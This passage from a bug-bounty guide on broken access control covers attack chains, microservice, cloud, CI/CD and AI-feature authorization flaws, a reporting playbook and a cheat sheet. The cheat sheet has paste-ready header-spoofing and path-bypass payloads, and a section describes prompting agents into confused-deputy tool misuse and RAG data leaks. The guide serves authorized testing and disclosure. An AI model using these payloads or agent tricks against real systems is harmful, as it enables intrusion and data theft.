• Open redirect + OAuth. Open redirect on the target's domain is low; chained into OAuth redirect_uri validation, it's ATO.
• Cache deception + IDOR. Account page cacheable via cache deception → IDOR fetches victim's view of their own account into the cache → public URL leaks it.

5.2 Microservice Trust Boundary Attacks

Most modern apps are 20+ microservices behind an API gateway. Authorization decisions split across services and a missing check in one service is the bug.

• Service-to-service header trust. Service A authenticates the user and forwards X-User-Id: 555 to Service B. If you can reach Service B directly (via internal DNS, exposed port, or a misconfigured gateway), you spoof X-User-Id.
• Internal endpoints leaked through gateway. /internal/* or /_admin/* paths sometimes survive the gateway rewrite.
• JWT pass-through. Gateway validates JWT and forwards it; downstream service re-uses claims without re-validating signature.
• Service mesh sidecar bypass. If mTLS is misconfigured (mTLS optional, or weak SPIFFE policy), you reach services directly.

5.3 Logic-flaw BAC

These don't fit a tidy category — they're business-logic bugs that happen to be authorization failures. The category is huge and the payouts are enormous because scanners can't find them.

• Stale invitation tokens. Invite link emailed to victim@x.com is still valid after recipient changes email or leaves the team.
• Role-downgrade race. Demote admin → admin is still admin until cache refresh.
• Negative quantities / amounts. Transfer -100 from victim to attacker.
• Workflow skip. Order requires owner approval; submit "approved" status directly.
• Soft-delete IDOR. Deleted records still readable via the trash/history endpoint without ownership check.
• API versioning rollback. /api/v1/users deprecated and unmaintained but still alive — and lacks the v2 authz model.
• Sandbox/preview/staging in production. preview.target.com uses the production DB and skips auth.

5.4 Mobile- and Desktop-Client Specific

• Hardcoded admin tokens. Some mobile apps ship with embedded service tokens for diagnostics. Decompile (apktool, jadx) and search.
• SSL pinning bypass + intercept. Frida, objection — when intercepted, mobile APIs frequently use a more permissive surface than web.
• Deep link authorization. Custom URL schemes (app://reset?token=...) often skip the standard auth pipeline.
• Background sync. Offline-first apps often have a sync endpoint that accepts arbitrary local changes — including changes to resources you don't own.

5.5 Cloud-native BAC

• Signed URL replay. S3 / GCS / Azure pre-signed URLs valid longer than necessary; once leaked, anyone can read.
• IAM confused deputy. Service has IAM privileges users don't; coerce it to act on attacker's behalf.
• Bucket policy gaps. s3:GetObject public on a tenant-segmented bucket.
• Cognito/Firebase rules misconfiguration. Read/write rules allow auth != null instead of auth.uid == resource.uid.
• Platform bug vs. customer misconfig — report them differently. A platform isolation defect (like Entra's CVE-2025-55241, §6) is the provider's fault: rare, catastrophic, and reported to the provider. A customer misconfiguration (over-broad IAM binding, a shared BigQuery dataset, a public s3:GetObject on a tenant-segmented bucket) is far more common and usually in scope on the customer's own program. Same symptom — cross-tenant exposure — but the remediation owner, and the right disclosure channel, differ.

5.6 The "Forgotten Surface"

Endpoints that get less attention from the security team than the main app:

• Email/template-rendering services (track.example.com, e.example.com)
• File processing services (image resize, PDF gen) — often see the raw URL of the original resource
• Status / dashboard / metrics endpoints (/metrics, /healthz, /actuator/*)
• Internal-only CMS (cms.example.com, blog-admin.example.com)
• Marketing-tag servers (often have auth tokens in plaintext)
• Legacy redirected hostnames (old.example.com, m.example.com)

5.7 AI- & LLM-Application Authorization Emerging

AI features bolt a new authorization surface onto existing apps, and the access-control checks frequently don't follow the data into the model layer. OWASP's Top 10 for LLM Applications (2025) names several of these directly. The high-value targets:

• RAG document-level access control (LLM02). Retrieval-augmented generation searches a vector store and feeds matches to the model. If document ACLs aren't enforced at retrieval time, a low-privileged user's query surfaces chunks from documents they can't read — a clean confidentiality break that bypasses the app's normal authz entirely. Test by asking for content you shouldn't have and watching what the model cites.
• Excessive agency / tool authorization (LLM06). Agentic systems let the model call tools (DB queries, internal APIs, file access). If a tool runs with the app's privileges rather than the user's, prompt-driven requests become a confused-deputy privilege escalation — ask the agent to do something your own account can't, and see whether the tool does it anyway.
• Embedding & index leakage (LLM08). Vector indexes shared across tenants — or embeddings that encode retrievable source text — can leak other tenants' data through similarity search.
• Conversation & memory boundaries. Chat history, agent memory, and uploaded-file stores keyed only by a guessable conversation ID are IDOR (§2.1) by another name.

5.8 CI/CD & Pipeline Authorization Emerging

OWASP's 2025 refresh added A03 Software Supply Chain Failures, and a large slice of it is really access control at the build layer: who can trigger a pipeline, whose identity a job runs as, and what a job is allowed to read. CI/CD systems are high-value targets because a pipeline usually holds cloud credentials, signing keys, and deploy access — so a build-layer authz bug is a short path to production.

• Trigger-as-another-user. Pipeline triggers that don't bind to the caller's identity/role let a low-privileged user run jobs — and use job-scoped secrets — as someone else. GitLab CVE-2024-6385 (§6, Critical) is the textbook case.
• Missing permission checks on plugin/endpoint surfaces. CI platforms are plugin-heavy, and a single plugin that forgets an authz check exposes cross-project data or unintended builds — e.g. Jenkins CVE-2024-23901, where a plugin unconditionally discovered projects shared with the owner group and let an attacker get a crafted pipeline built.
• Unpinned / mutable action references. Referencing a third-party CI action by a floating tag rather than a pinned commit SHA means whoever controls that tag controls your pipeline — the root cause of the tj-actions/changed-files compromise (CVE-2025-30066, §6). Grep workflows for uses: on mutable tags and over-broad permissions: write-all.
• Runner / registration-token exposure. Registration tokens and job artifacts that leak across project or scope boundaries let an attacker attach a runner or read another team's build output (cf. GitLab CVE-2022-0735, §6).

06Disclosed Cases & Recurring Patterns#

Studying real BAC is the fastest way to internalize what it looks like in the wild. Each card below is labelled: Documented cards link to a public source you can read in full, with figures only where that source confirms them; Pattern cards describe a recurring, high-value shape of bug without pinning it to a specific unverified report or payout. Treat any dollar figure as indicative of the band these bugs command — not a guarantee. Documented cases lead with the most recent (2024–2026) and run back to the classics.

07Reporting Playbook#

A well-written report is the difference between a $500 medium and a $5,000 high. Triagers process dozens of reports a day; if yours is unclear, ambiguous, or unprovable, you lose. The template below is what gets paid.

The report skeleton

1. One-sentence summary. "Authenticated users can read arbitrary other users' invoices via GET /api/v2/invoices/{id} due to missing ownership check."
2. Severity & CVSS. Compute CVSS v3.1 (and v4.0 if the program uses it). Show the vector string. Be honest — inflated scores get downgraded and burn trust.
3. Vulnerability class. Reference the specific CWE — CWE-639 (IDOR), CWE-862 (missing authz), CWE-863 (incorrect authz), CWE-285 (improper authz), CWE-915 (mass assignment) — plus OWASP A01:2025 (MITRE category CWE-1436). For API targets, map to BOLA / BFLA / BOPLA from the API Security Top 10 (2023); triagers score these faster when the mapping is explicit.
4. Steps to reproduce. Numbered, minimal, with both test-account identifiers visible. Use curl commands the triager can paste.
5. Proof. Screenshots of two-account demonstration (victim's data in attacker's session). Redact only what you must.
6. Impact. What can the attacker actually do? Quantify: how many users affected, what data is exposed, what financial impact, what regulatory implications (GDPR, HIPAA, SOX).
7. Remediation suggestion. One or two sentences. Shows good faith and helps the engineer fix it.
8. References. CWE link, OWASP cheat sheet, related disclosed reports.

CVSS scoring guidance for BAC

Most programs still expect CVSS v3.1, but v4.0 (published by FIRST in November 2023) is increasingly requested — quote whichever the program uses. Adoption is real but partial: NVD and the CVE program support v4.0 in their tooling, yet v3.1 still dominates by volume and only a minority of published CVEs carry a v4.0 vector. Note too that since April 2026 NIST fully enriches only a fraction of new CVEs and defers to the submitting CNA's own score — so expect more vendor-supplied vectors and fewer NVD-assigned ones. The biggest modeling change for BAC: v4.0 retires the Scope metric and instead splits impact between the Vulnerable System (VC/VI/VA) and any Subsequent System (SC/SI/SA). So a v3.1 "scope change" (the classic cross-tenant case) is now expressed as elevated SC/SI/SA. v4.0 also adds Attack Requirements (AT) and splits User Interaction into none / passive / active.

Paste-ready CVSS v4.0 base vectors

CVSS:4.0 · verify in the FIRST calculator
# Unauthenticated read of arbitrary PII — 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
# Authenticated cross-user read / IDOR — 7.1 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
# Cross-user mutation (modify another user's record) — 7.1 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N
# Cross-user destructive delete — 7.2 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N
# Vertical privilege escalation to admin — 9.4 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
# Cross-tenant read in B2B SaaS (authenticated) — 8.3 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
# Full account takeover via BAC chain — 9.3 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N

Common triage failure modes (and how to avoid them)

• "This is intended behavior." The triager couldn't reproduce, OR they think the resource is meant to be public. Pre-empt by including ToS/UI screenshots showing it isn't.
• "Need authenticated session." Authenticated BAC is still BAC. Document the realistic attacker model: signing up is free.
• "Self-XSS / self-IDOR." Make sure your PoC clearly involves two accounts and proves the boundary crossing.
• "Duplicate." Be the first. Even when not, ask whether your variant exploits a different code path — sometimes the original was fixed but yours wasn't.
• "Out of scope." Read scope carefully; if BAC affects an in-scope asset via an out-of-scope one, the impact is still in scope.

08Defense — Context for Reports#

You're not a defender, but understanding the fix makes your reports better and your conversations with security teams more credible.

• Deny by default. Every endpoint should require an explicit allow.
• Centralize policy. Use a single policy engine (OPA, Cedar, Casbin, Auth0 FGA, SpiceDB) rather than scattering if checks across the codebase.
• Authorize on the resource, not just the role. "Is the caller an admin?" is incomplete — should be "is the caller authorized for this specific resource?"
• Field-level allowlists for writes. Never bind a request body directly to a model.
• Tenant context as a first-class principle. Every query in a multi-tenant app should filter by tenant at the lowest layer (row-level security in DB).
• Re-validate at every trust boundary. Microservices, queues, workers, webhooks — each is a boundary.
• Test authz with the same rigor as the rest of the stack. Contract tests per endpoint per role.
• Log + alert on authz failures. A spike in 403s is a fingerprint of someone testing.
• Carry authz into the AI layer. Enforce document ACLs at RAG retrieval time, and run agent tools with the user's privileges, not the application's — the checks must follow the data into the model (§5.7).
• Treat the pipeline as production. Pin CI actions to commit SHAs, scope job tokens to least privilege, bind pipeline triggers to caller identity, and isolate runners per project (§5.8).

09The Cheat Sheet#

Top 30 endpoints to always test

High-yield paths
/admin              /api/admin            /api/v1/admin
/api/users          /api/users/me         /api/users/{id}
/api/orders         /api/orders/{id}      /api/invoices/{id}
/api/exports/{id}   /api/downloads/{id}   /api/files/{id}
/api/teams/{id}     /api/orgs/{id}        /api/workspaces/{id}
/api/projects/{id}  /api/messages/{cid}   /api/notifications
/api/billing        /api/payment-methods  /api/coupons/apply
/api/feature-flags  /api/impersonate      /api/audit-log
/api/internal/*     /api/_private/*       /api/v0/*  /api/v1/* (legacy)
/graphql            /swagger              /openapi.json  /actuator/*
/api/ai/*           /api/rag/*            /api/agents/*  /api/chat/{id}
/api/webhooks/*     /.well-known/*        /api/v3/api-docs  /api/graphql/console

Top 20 headers to spoof on 401/403

paste into Burp Intruder · §header
X-Original-URL: /admin
X-Rewrite-URL: /admin
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Forwarded-Host: localhost
True-Client-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Cluster-Client-IP: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1
Forwarded: for=127.0.0.1
Referer: https://target.com/admin
X-Forwarded-User: admin
X-Auth-User: admin
X-User-Id: 1
X-Username: admin
X-Tenant-Id: 1
X-HTTP-Method-Override: GET
X-Method-Override: GET
Content-Type: application/xml   # sometimes downgrades to a different handler

Path bypass payloads (paste into Intruder)

§path bypass
/admin
/admin/
//admin
/./admin
/admin/.
/admin/..
/admin..;/
/admin/%2e
/admin/%2e/
/admin%20
/admin%09
/admin%00
/admin?
/admin#
/admin#.html
/admin.json
/admin.css
/admin.html
/admin/..%2f
/admin..%252f
/%2e/admin
/%252e/admin
/.%2e/admin
/;/admin
/.;/admin
/..;/admin
/?/admin
/anything/../admin

The 60-second triage checklist (per endpoint)

• Anon access (no cookie / no token)?
• Cross-user access (B's request as A)?
• Cross-tenant access (other org's id)?
• Vertical escalation (low-priv → high-priv)?
• Mass assignment (extra body fields stick)?
• Method tampering (GET↔POST↔PUT↔PATCH↔DELETE)?
• Method override headers honored?
• Header trust (X-Forwarded-For / X-User-Id)?
• Path bypass (/admin → /admin/.)?
• Cache key includes auth context?
• Rate limit per-account or global?
• Race condition on the action?
• GraphQL: field-level authz enforced?
• JWT: algorithm/signature/claims verified?
• Soft-deleted / archived state accessible?
• CSPT: does the client build API paths from user input?
• Cache: static-extension / delimiter deception on this response?
• AI/RAG: does retrieval enforce per-user document ACLs?

Mass-assignment field dictionary

attempt these on every write endpoint
id, user_id, owner_id, account_id, tenant_id, workspace_id, org_id, team_id
role, roles, scope, scopes, permissions, is_admin, isAdmin, admin, superuser
verified, is_verified, email_verified, phone_verified, kyc_verified
balance, credit, credits, credit_balance, points, coins, wallet
plan, tier, subscription, subscription_status, trial_ends_at, locked
status, state, active, enabled, banned, blocked, suspended
created_at, updated_at, deleted_at, expires_at
password, password_hash, mfa_secret, api_key, secret, token, refresh_token
parent_id, group_id, organization_id, company_id
impersonate, act_as, on_behalf_of, sudo, feature_flags, entitlements, grants
locale, country, currency  # sometimes gates pricing/feature access

10Further Learning#

• PortSwigger Web Security Academy — the "Access control vulnerabilities" track has 13 free labs covering every sub-class in this guide.
• OWASP API Security Top 10 (2023) — API1 BOLA, API3 BOPLA, API5 BFLA are all BAC. The 2023 list is the modern API hunter's map.
• OWASP Top 10:2025 · A01 — read the updated category page (40 CWEs, SSRF now folded in) to see how the standard frames BAC today.
• OWASP GenAI / LLM Top 10 (2025) — LLM02 (Sensitive Information Disclosure), LLM06 (Excessive Agency) and LLM08 (Vector & Embedding Weaknesses) are the authorization-relevant entries for AI features (§5.7).
• PortSwigger Research — the web cache deception (2024) and single-packet-attack papers are required reading for §2.16–§2.17; James Kettle's talks are the cutting edge.
• IETF draft-ietf-oauth-rfc8725bis — the JWT Best Current Practices refresh, and the definitive current catalog of JWT confusion attacks (§2.12).
• OWASP Authorization Cheat Sheet — defender-side, but excellent grounding.
• HackTricks · Pentesting Web — encyclopedic; the BAC and JWT pages are gold.
• HackerOne Hacktivity — filter to "Insecure Direct Object Reference" and "Privilege Escalation". Read 50 reports; patterns emerge.
• Books: Real-World Bug Hunting (Yaworski), The Web Application Hacker's Handbook (Stuttard & Pinto — older but still foundational), Bug Bounty Bootcamp (Vickie Li).
• YouTube: InsiderPhD's IDOR series; NahamSec's recon streams; PinkDraconian for OAuth/JWT; James Kettle (PortSwigger) for cutting-edge research.
• Conferences: DEF CON AppSec Village, BSides, NahamCon, Bug Bounty Village.